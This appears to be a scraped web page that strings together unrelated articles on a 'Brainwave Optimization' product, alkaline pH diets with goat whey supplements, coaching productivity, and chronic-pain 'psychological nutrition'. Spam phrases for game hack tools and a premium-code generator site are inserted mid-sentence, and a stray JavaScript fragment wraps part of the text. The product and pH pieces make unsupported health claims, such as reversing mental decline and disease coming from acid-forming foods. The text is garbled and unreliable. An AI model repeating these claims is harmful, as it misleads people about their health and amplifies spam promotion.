***Aging? Forget About It: Keep your memory Sharp and Your Brain Young

How often have you heard someone say, « I don’t look forward to getting old »? Perhaps you’ve even said it yourself.
Given that we’re all going to age, what’s the worst part of growing older?
None of us likes the thought of having our skin wrinkle and gradually become thin. Neither do we want to lose our hair. Fighting a spare tire is also pretty much a losing battle for many of us as we enter our 40s. Plus, we find our joints stiffening and our muscles sore in the mornings, making it harder to get out of bed—not to mention slowing our gait and putting us at risk of a fall.
Though these side effects of aging are unpleasant, the one most of us dread above all is the very real possibility that we’ll experience a steep decline of our mental faculties.
To know we could lose our mind as we age is simply frightening.
With mental decline, there comes an unbearable isolation. To find your memory failing you, and possibly receiving the diagnosis of Alzheimer’s, puts you at the mercy of others who decide your destiny. In many cases, those you most love no longer want to be around you for long because it’s painful zombie tsunami hack ios for them to see you in this state.
Aging and eventual death are the destiny of each and every one of us—there’s no avoiding the downhill slope. But what we don’t have to experience is the deterioration of our mental capacity.
Growing older simply doesn’t have to include becoming decrepit.
The incredibly good news is that there’s now a technology that can slow and in many cases halt mental decline. It can even sharpen your brain, with some reporting as many as ten points shaved off their golf score! Golfing is one of the great joys of many in their golden years.
Brainwave Optimization™ with Real Time Balancing fortifies the body against unnecessary aging because it gets to the root of the aging process—the control center for the entirety of our bodily systems, our amazing brain.
The average brain is considerably out of balance, which affects everything from the autonomic nervous system to the clarity of our mind. Balance the brain’s hemispheres and lobes, and fuzzy thinking, indecisiveness, confusion, feeling overwhelmed, and depression vanish.
It’s actually possible to rejuvenate an aging brain. You see, it used to be believed that brain cells, once dead, could never be replaced. This turned out to be a myth. We now click this site know that we can generate new brain cells throughout our lives. Some of these new cells are actively involved with memory. Stimulating the brain with mental activity increases the number of neurons and reinvigorates our neural pathways.
In fact, the first evidence of the development of new brain cells was brought forward as far back as the 1960s, though current beliefs about the brain meant that this revolutionary discovery wasn’t accepted until decades later. Now, share this website we’re all benefiting from the new science of neuroplasticity.
Brainwave Optimization™ not only boosts the brain’s performance, improving memory and acuity, but it also helps the rest of our bodily systems to function in an optimal manner. In fact, the side benefits of training the brain with this noninvasive method can roblox cheats tool online be huge in terms of the quality of our lives as we age.
Consider just one spinoff from balancing the brain—the way that many have found themselves spontaneously losing weight. One well-known star in the music world lost 55 pounds, an unexpected bonus of balancing her brain.
The advantages of such weight loss include reduced blood pressure and a healthier heart, improved sleep and the many benefits it brings to health, a strengthened immune system to protect against cancer, a lessening of the craving for addictive substances, and a desire to take care of ourselves by eating and exercising right—all of which impact the quality of our aging.
It’s now widely recognized that stress also has a tremendous impact on our physical and mental wellbeing. When we’re severely stressed, or stress is prolonged, the autonomic nervous system often becomes « stuck » in an unhealthy mode.
When this protective mechanism is either in constant overdrive or frozen, the effect on our physical and emotional wellbeing long-term is devastating. But with Brainwave Optimization®, the fight-flight-freeze response returns to normal, enhancing our state of wellness.
It comes down to this: Balance the brain, and you help balance your whole body. Cell replication continues at an improved level well into old age, accompanied by the mental alertness to enjoy a healthy, invigorating, joyful everyday life.

Balancing Ph Levels

*** Balancing pH Levels

The evolution of our modern-day lifestyle continues to bring more challenges to our health and well-being. Most of our diets include so many refined, processed foods and sugar. Not to mention having to deal with the chemical pollutants in the air we breathe and the food we eat. I believe these factors and excessive stress are the main reasons that the occurrence of disease continues to escalate.
The Evolution of Disease
Disease is our body’s way of telling us that something is out of balance. It is a cry for help. I believe that our bodies are capable of healing themselves when given the right tools, care and attention. The problem in our society is that we tend to address the symptoms of the imbalances, instead of treating the causes.
An example would be the overworked, stressed-out manager, plagued with afternoon fatigue (maybe due to depleted adrenal glands, hypoglycemia or candida), who rushes off for the “sugar fix” of a candy bar or coffee to keep going. This is like putting a ‘band-aid’ on a volcano. It may create a short-term remedy, but in the long run it makes matters worse. What started off as a small annoyance tends to escalate over time, requiring more drastic band-aids to quiet the uncomfortable symptoms. Eventually a small, annoying symptom can grow to become a chronic problem or disease.
So What Causes These Imbalances?
One of the major causes of an imbalanced system is the food in our pantries and refrigerators. The amount of processed and refined foods we consume has continued to increase over the last several decades including foods treated with preservatives, chemicals, pesticides and hormones. Not only are the chemicals creating havoc and toxicity in our systems, but the continual consumption of the processed and refined foods is also throwing off the delicate pH balance of our bodies.
What is the pH Balance of the Body?
The pH level is one of the most important balance systems of the body. The pH level is a measure of acidity or alkalinity, on a scale of zero to fourteen, with zero being most acid, fourteen being most alkaline and seven being mid-range. The pH levels of our bodies vary from one organ or system to the next.
For example, the stomach pH is much more acid than the intestinal pH because the stomach needs an acid environment (hydrochloric acid) to break down food for digestion. Whereas, the flora (good bacteria) of the small intestine need a more alkaline environment to assimilate and process the nutrients from the foods digested by the stomach.
How Does Eating affect our pH Level?
In my book, « The Cleanse Cookbook » I write about the importance of maintaining a balanced pH level. In order to do this, we need to strive to eat about 75% alkaline-forming foods. The average all-American diet consists of about 80% acid-forming foods! Because processed and refined foods are extremely acidic to our systems, the body creates a buffering system (a chemical process to protect the body from being harmed by the acids), which is a protective mucous substance. This buffering process requires the use of many nutrients from the body, including electrolyte minerals (organic potassium, magnesium, sodium, calcium, to name a few). Electrolyte minerals are not minerals from the ground. They are minerals from plant sources that have gone through the process of photosynthesis.
Why are Electrolyte Minerals Important for our Bodies?
Electrolyte minerals are vital to the metabolic functions of our body systems. When we have boom beach hack tool a sufficient reserve of electrolyte minerals, the buffering process (the cushioning and removing of unwanted acids from our systems), is not a problem. When we are young, we usually have sufficient reserves. Over time, the electrolyte mineral reserves can become depleted by ingesting too many processed and refined acid-forming foods, or from excessive mental or emotional stress. When we run short of electrolyte minerals, our body is no longer able to maintain an efficient homeostasis (a state of equilibrium).
The body has a hierarchy of priorities for survival. Second only to breathing and sustaining our heartbeat, the most important metabolic function that our more information bodies perform is maintaining a specific pH. The most important pH level that the body must regulate is the blood’s pH level. The body’s blood pH level must be maintained at 7.4 (slightly alkaline). If it varies more than a point, death can result from a coma or a seizure. In order to maintain the blood’s critical pH balance, the body will compromise less important functions. Once the electrolyte reserves become depleted, the body begins to rob these electrolytes from the various organs and systems of the body to maintain the blood’s pH level. This is where the imbalance begins.
For example: when the body becomes depleted of organic sodium (an essential electrolyte mineral, not table salt), the body may not be able to manufacture enough hydrochloric acid in the stomach. This can create an imbalanced digestive system, where foods are not being digested properly.
These imbalances can be aggravated further because our body systems will generally deplete electrolytes from the weakest areas first. So if someone already has a weakened body system, the further depletion of electrolyte minerals will cause a greater imbalance and more dysfunction. When our bodies become too depleted, overall functioning becomes weakened, affecting the immune system and the spotifypremiumcodesgenerators.com/ body’s ability to fight off bacterial and viral infections.
The Good News
We can begin to reverse this depletion process by replenishing the electrolyte minerals in our bodies. By eating more pH-alkaline forming foods (fresh fruits, fresh vegetables, fresh juices, sprouted seeds, alkaline grains)and supplementing with whole food vitamins and supplements, we can begin to replenish our reserve supply madden mobile hack cheats online of electrolyte minerals. I also recommend a natural goat whey mineral powder by Mt. Capra because it is a natural source of electrolyte minerals and can help with acidic conditions.
pH testing Tools
In my book “The Cleanse Cookbook, » I teach you how to use pH Papers. pH papers are specially coated papers that come on a roll or in strips that you may have seen in your school chemistry classes. You can use them to measure the saliva and urine pH levels of your body. Three of these tests are explained in my book. They measure not only your pH levels, but can determine if you are deficient in electrolyte minerals.
The pH papers can be a very effective tool for monitoring our pH balance system. pH testing also provides us with a way to take a more proactive role in our health. We can detect and correct the pH imbalances and electrolyte deficiencies in our systems before they manifest as symptoms of disease. As a cleanse coach, I have seen dramatic health improvements in so many people who simply get their pH levels balanced and their electrolytes replenished. The pH tests are easy, quick and painless. All you need are the correct pH papers and the instructions for interpreting your results. You will need pH papers that measure between 5.5 and 8.0 for proper testing.
By working on our pH balance, we can achieve greater health & well-being. Information about the Cleanse Cookbook, pH papers and Capra Mineral Whey are available on our website. Feel free to browse our archive of online, Health & Nutrition Newsletter articles to improve your health and vibrant energy.
Resources:
Goat Mineral Whey and pH Balance
Goat Milk? Discover the Healing Power of Goat Milkif (document.currentScript) {

[act Like A Coach Think Like A Marketer] How To Overcome Information Overload And Double Your Productivity Now!
[Act Like A Coach – Think Like A Marketer] How To Overcome Information Overload And Double Your Productivity Now!

Overcome The #1 – Productivity Mistake
Introduction
This article is primarily for any coach that’s trying to make a full-time living from being a coach and that also has to market and promote their coaching services and products.
I’m sure that you’re going to agree with me that if this is you, the amount of information you’re offered every day can be mind boggling!
So What’s The #1 Productivity Mistake?
The #1 productivity mistake that too many coaches make is attempting to become an ‘info-sponge.’
By info-sponge I mean that you try to read, lords mobile cheats tool listen or watch everything you can get your hands on. While on the surface this may appear admirable, in actual fact it wastes so much of your precious time!
Does this describe you and how you behave?
What’s The Solution?
The solution is that you should practice ‘selective focus.’
Selective focus allows you to systematically deal with the vast amount visit this site of information that’s all too readily available to you wherever you may happen to be.
To practice selective focus and to get the best results, you should only read or invest in material that you know you can use NOW click this site on your current business or client projects.
Your bran can cope with a lot more information than you’re currently feeding it, so share here in a way, ‘information overload’ isn’t actually real.
But this doesn’t mean that you’ve got to fill it up with information you don’t really need.
Selective Focus + Implementation = Productivity
The best way to leverage what you now know is to practice selective focus with acting on what you know.
When you combine selective focus with implementation you’re going to be unstoppable.
Unless what you learn is reinforced regularly, you’ll very quickly forget what is what all about in the first place.
Studies show that after 60 minutes, you forget 50% of it. After 9 hours you’ll have forgotten 60%. After a month you’ll have forgotten a staggering 80% of what you learnt!”
Next Steps
What this means for you to become more productive is this.
If you’re not going to use something for the next 90 days in your coaching business, then you really shouldn’t invest in it or read, watch or listen to it now.
You can do it – Give it a try and see for yourself.
Get the FREE REPORT and CHECKLIST now at
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Psychological Nutrition A New Prescription For The Discussion Of Non Pharmacological Interventions With Chronic Pain Patients

*** Psychological Nutrition: A New Prescription for the Discussion of Non-pharmacological Interventions with Chronic Pain Patients

A patient in chronic pain wants their pain gone. Perhaps this is easier said than done. Pain management is complex and has no certain or easy solutions. Surgery may not improve, or may even exacerbate, the pain (e.g., as in low back pain). Non-opioid pharmacological treatments may also prove less than satisfactory. Chronic pain causes emotional pain; more information which, ironically, can result in heightening the patient’s sensitivity to their physical pain. The debilitating effects of chronic pain span across physical, emotional, social, and occupational functioning. In its 2014 report, The National Institutes of Health (NIH) Office of Disease Prevention estimated that chronic pain impacted one-third, or 100 million Americans. It has a high cost: via lost work and medical expenses. The dollar cost was estimated by NIH at $560 to $630 billion a year.
The use of opioids may lessen pain in the short-term, but long-term use remains problematic. For example, it may produce a chronic pain state, may potentiate abuse, and may deepen depression. Moreover, the side-effects of opioids alone, or in combination with other drugs (prescribed or illicit), or if misused by persons with co-morbid conditions (e.g., sleep apnea), can range anywhere from sedation to respiratory suppression to liver damage to death.
Thus, alternate strategies to opioids for pain management have been developed. These include approaches focusing on psychosocial factors, including psychotherapy (such as cognitive-behavioral treatments to address distorted thinking, mindfulness treatment to reframe pain, acceptance commitment therapy to augment psychological flexibility) meditation, yoga, aromatherapy, and acupuncture. These modalities have gained prominence as complementary to traditional medical interventions. These methods have support in the form of small to moderate effect sizes in meta-analytic studies.
Despite the negative effect of chronic opioid use, they remain widely used in the management of pain. In part, this may be because discussing non-pharmacological interventions may not be met with receptivity by a patient in pain. Recommending non-opioid treatment may:

* signal to the patient that their condition is hopeless;
* worsen their emotional distress;
* suggest that their physician believes they are abusing opioids and/or
* suggest that the severity of their pain is doubted by the physician.Is there a way that a medical provider can begin the discussion of alternate treatments that avoid a defensive reaction by the patient? Reframing pain management as the management of emotional, or psychological nutrition may be one such method.
Psychological Nutrition: This is a concept developed by the authors, is readily accessible and intuitive as it adopts terminology and concepts that patients are well familiar: nutritional labels on foods, but applies them to emotions. Psychological reactions are conceptualized from the unique perspective that emotions are ingredients one consumes.
Today, many people are concerned about eating a healthy diet. They may examine the ingredients of the food they eat to find out whether it’s high or low in fat, sodium, calories, fiber, etc., before they buy or eat it. Yet, people are not as attuned to assessing whether their interactions with certain people or their experiences with certain situations may be emotionally nutritious for them. Consequently, many unthinkingly consume a diet of unhealthy emotions.
A diet that is high in fat (full of negative emotions) is not healthy. It can be energy draining and lead to feelings of anger, bitterness, fear, depression, and hopelessness. Whereas a low fat emotional diet is energy augmenting and reinforces a positive sense of self. Just as there is junk food, there are junk emotions.
Why would understanding one’s emotional nutritional intake help manage pain?
Chronic pain is associated with the activation of brain centers related to the interpretation of pain (pre-frontal cortex) and emotion (limbic system); thereby, providing the “why” of how emotional reactivity and cognitive mindsets can change one’s perception of pain. Indeed, “pain literacy;” that is, having knowledge about how and why the pain is caused and what to expect regarding duration and intensity can also reduce pain.
Self-management strategies where the individual reframes their thoughts and feelings about pain, may actually bring about changes in neural activity (such as reducing activity in the amygdala linked to anxiety/stress responses) that in turn help decrease the perception of pain. Understanding how negative emotional states heighten pain is another aspect of pain literacy and a self-management strategy. These three concepts provide the basis of psychological nutrition:
High fat (or negative) emotions are draining; they can heighten the perception of pain.
Low fat (or positive) emotions are energizing; they can decrease the perception of pain.
High stress-low reward experiences lead to a diet heavy in high fat (negative emotions) and lead share this site to psychological malnourishment; low stress-high reward diets are rich with positive emotions and lead to a psychologically nourished state.
Developing a “snapshot” of one’s day: ratio of high fat to low fat emotions will provide the patient with an understanding whether one is in an emotionally nourished or malnourished state.
Pain causes emotional distress and in turn emotional distress heighten the perception of pain which then heightens the suffering. Therefore, understanding the cyclical nature of how one’s emotional responses impact their perceptions of pain is important. For example, the more we focus on the pain, the greater the sensation. This is turn leads to psychologically non-nutritious (high fat) emotions, such as stress, fear, frustration, helplessness, and depression. Consequently, the patient is less motivated to follow the prescribed treatment, and so the pain and medical condition can worsen. But, if the patient consumes a diet of low fat emotions (such as optimism, calmness, confidence, joy), their sensations of pain could be relieved and less apparent to them, and roblox cheats tool online thus making them more inclined to follow their medical regimen.
Psychological Nutritional Prescription for Pain Reduction The initial step consists of a quality of life assessment. This helps the patient and doctor better understand what events and people contribute to the patient’s psychological nutrition or malnutrition. Once they understand this, the patient will be better prepared for the following:

* In an easily understood manner, provide the patient with education and information about their medical condition and the nature of the pain to be experienced.
* Lack of information can be highly anxiety-arousing.
* Encourage the patient to develop self-efficacy that they can exert control over their pain. Just as people can control their nutritional intake of food, patients can control their psychological nutritional intake of emotions.
* Help the patient recognize their negative emotional reactions (high fat) to pain (such as fear and depression) and how they can be regulated if they focus less on them and increase their intake of positive emotions (low fat, such as spending more time on and being more preoccupied with thoughts and activities that do not center on pain, engaging in fun or spiritual activities).
* Emphasize stress management, coping skills, and relaxation.
* If the pain cannot be reduced entirely, its sensation can be diminished if the patient learns better adaptation strategies.Just as there are support groups to help people modify their diet and lose weight, the patient should be encouraged to attend pain support groups. Sharing with people who have similar more information problems may feel more authentic for the patient and can help modify their emotional amplification of the pain.
Periodically, the patient should reassess their quality of life and level of psychological nutrition. As their emotional diet improves, so should their experience and reaction to pain. Psychological nourishment means living a meaningful life, one that places pain in the background rather than the foreground.
Dr. Shoba Sreenivasan and Dr. Linda E. Weinberger are authors of the new book Psychological Nutrition, which encourages women to live happier and healthier lives by monitoring emotions that are consumed on a daily basis.}